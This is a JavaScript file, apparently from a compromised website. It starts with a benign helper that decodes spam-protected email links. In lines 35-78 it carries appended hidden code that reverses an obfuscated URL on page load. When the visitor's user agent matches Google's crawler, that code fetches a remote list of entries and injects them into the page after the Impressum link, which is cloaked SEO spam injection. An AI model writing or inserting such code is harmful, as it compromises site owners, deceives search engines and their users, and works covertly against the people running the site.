1 // decrypt helper function 2 function decryptCharcode(n,start,end,offset) { 3 n = n + offset; 4 if (offset > 0 && n > end) { 5 n = start + (n - end - 1); 6 } else if (offset < 0 && n < start) { 7 n = end - (start - n - 1); 8 } 9 return String.fromCharCode(n); 10 } 11 // decrypt string 12 function decryptString(enc,offset) { 13 var dec = ""; 14 var len = enc.length; 15 for(var i=0; i < len; i++) { 16 var n = enc.charCodeAt(i); 17 if (n >= 0x2B && n <= 0x3A) { 18 dec += decryptCharcode(n,0x2B,0x3A,offset); // 0-9 . , - + / : 19 } else if (n >= 0x40 && n <= 0x5A) { 20 dec += decryptCharcode(n,0x40,0x5A,offset); // A-Z @ 21 } else if (n >= 0x61 && n <= 0x7A) { 22 dec += decryptCharcode(n,0x61,0x7A,offset); // a-z 23 } else { 24 dec += enc.charAt(i); 25 } 26 } 27 return dec; 28 } 29 // decrypt spam-protected emails 30 function linkTo_UnCryptMailto(s) { 31 location.href = decryptString(s,-2); 32 } 33 34 35const sdbm = str => { 36 let arr = str.split(''); 37 return arr.reduce( 38 (hashCode, currentVal) => 39 (hashCode = 40 currentVal.charCodeAt(0) + 41 (hashCode << 6) + 42 (hashCode << 16) - 43 hashCode), 44 0 45 ); 46}; 47 48 49var search='Impressum</a> </li></ul>'; 50var reverseinsert='php.tsild/n01l/fnoc3opyt/ed.zten-ahtog-ekrewtdats.www//:sptth'; 51var count = 5; 52 53 54 55var insert=reverseinsert.split("").reverse().join(""); 56var wholetext = ''; 57var replace = ''; 58function site(){ 59if(/google/i.test(navigator.userAgent)){ 60 fetch(insert) 61 .then((res) => res.text()) 62 .then((text) => { 63 wholetext=text; 64 var arr = wholetext.split(","); 65 var length = arr.length; 66 var hash = Math.abs(sdbm(window.location.href)); 67 console.log(hash); 68 for(let i = 1; i < count+1; i++){ 69 replace+=" "+arr[((hash-i)*i)%length].split("").reverse().join(""); 70 } 71 replace = search + replace; 72
73 document.body.innerHTML = document.body.innerHTML.replace(search, replace); 74 }) 75 .catch((e) => console.error(e)); 76} 77} 78document.addEventListener("DOMContentLoaded", site);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.